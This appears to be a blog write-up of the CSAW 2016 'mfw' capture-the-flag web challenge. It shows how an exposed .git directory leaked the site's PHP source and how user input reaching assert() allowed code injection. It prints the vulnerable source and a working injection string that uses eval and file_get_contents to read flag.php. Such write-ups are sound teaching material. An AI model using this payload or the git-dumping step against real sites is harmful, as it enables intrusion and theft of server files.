CSAW Quals 2016 – mfw

mfw was a website where you could click between 3 pages: Home, About, Contact. The requested page is loaded through GET in the “page” variable, as can be seen here:


The about page mentions that Git was used. Some Googling leads to this article which explains how leaving the .git exposed can allow people to download the site’s source code. We checked if the /.git/ directory existed, and it did:


Now we can get the source code using whatever means described in the article. We used their GitTools Dumper script, but I assume the wget method they describe would also work, because directory listing is enabled. Anyways, the source code contains 5 files: an index.php, and a /templates/ folder which contains about.php, contact.php, flag.php, and home.php. The index.php source code shows how the pages are loaded:


if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

<!DOCTYPE html>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>My PHP Website</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                      <a class="navbar-brand" href="#">Project name</a>
                <div id="navbar" class="collapse navbar-collapse">
                      <ul class="nav navbar-nav">
                        <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                        <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                        <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                        <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
        <div class="container" style="margin-top: 50px">
                require_once $file;
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />

As you can see, the user-provided page is loaded into $page, which is then used in the $file path (namely $file is “templates/$page.php”) in line 9. There are two assert checks in lines 12 and 15, the first to make sure that it doesn’t contain ‘..’ as a substring, and the second to ensure that the file exists. Finally the file given by $file is included in line 54.

There is also a commented-out link to flag.php. Let’s take a look at the flag.php source code:

// TODO 
//$FLAG = ''; 

Unfortunately, it looks like the actual flag wasn’t committed in Git, so it’s probably located in the source code of the flag.php page on the website. The question is: how can we get that source code?

We were stuck at this point for a very long time because we don’t really know what we’re doing with web challenges, and it was kind of depressing to watch the number of solves on this grow to over 200 while we were flailing around (e.g. I googled directory traversal techniques to get past the ‘..’ check and none of them worked, not that we would have been able to read the /etc/passwd file or anything because of the added ‘.php’ at the end and the file_exists check).

Finally, on Saturday night, I read up on what the PHP functions actually do because I don’t actually know PHP, and found out that assert evaluates the string given to it. So we should theoretically be able to inject whatever PHP we want into this statement. Oops.

Now we just need to find a PHP function that can get the source of a file. There’s a file_get_contents method which does that, so now we just need to get this evaluated somehow. Let’s take a look at the assert statement again:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

We know that $file=”templates/(what we insert).php”, and ideally we want to have the website evaluate an “echo file_get_contents(‘templates/flag.php’)” command or something like that. After fumbling around with PHP syntax for a bit, we eventually came up with inserting

','t')===eval('echo file_get_contents("templates/flag.php");') or strpos('

which turns the assert statement into

assert("strpos('templates/','t')===eval('echo file_get_contents("templates/flag.php");') or strpos('', '..') === false") or die("Detected hacking attempt!");

This is valid PHP and it also passes the assert statement, though it shouldn’t even need to pass the assert because it would execute the echo before dying regardless. Let’s try it out:


Yay! (note that the flag was printed twice because the second assert statement also echoed it)


One thought on “CSAW Quals 2016 – mfw

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s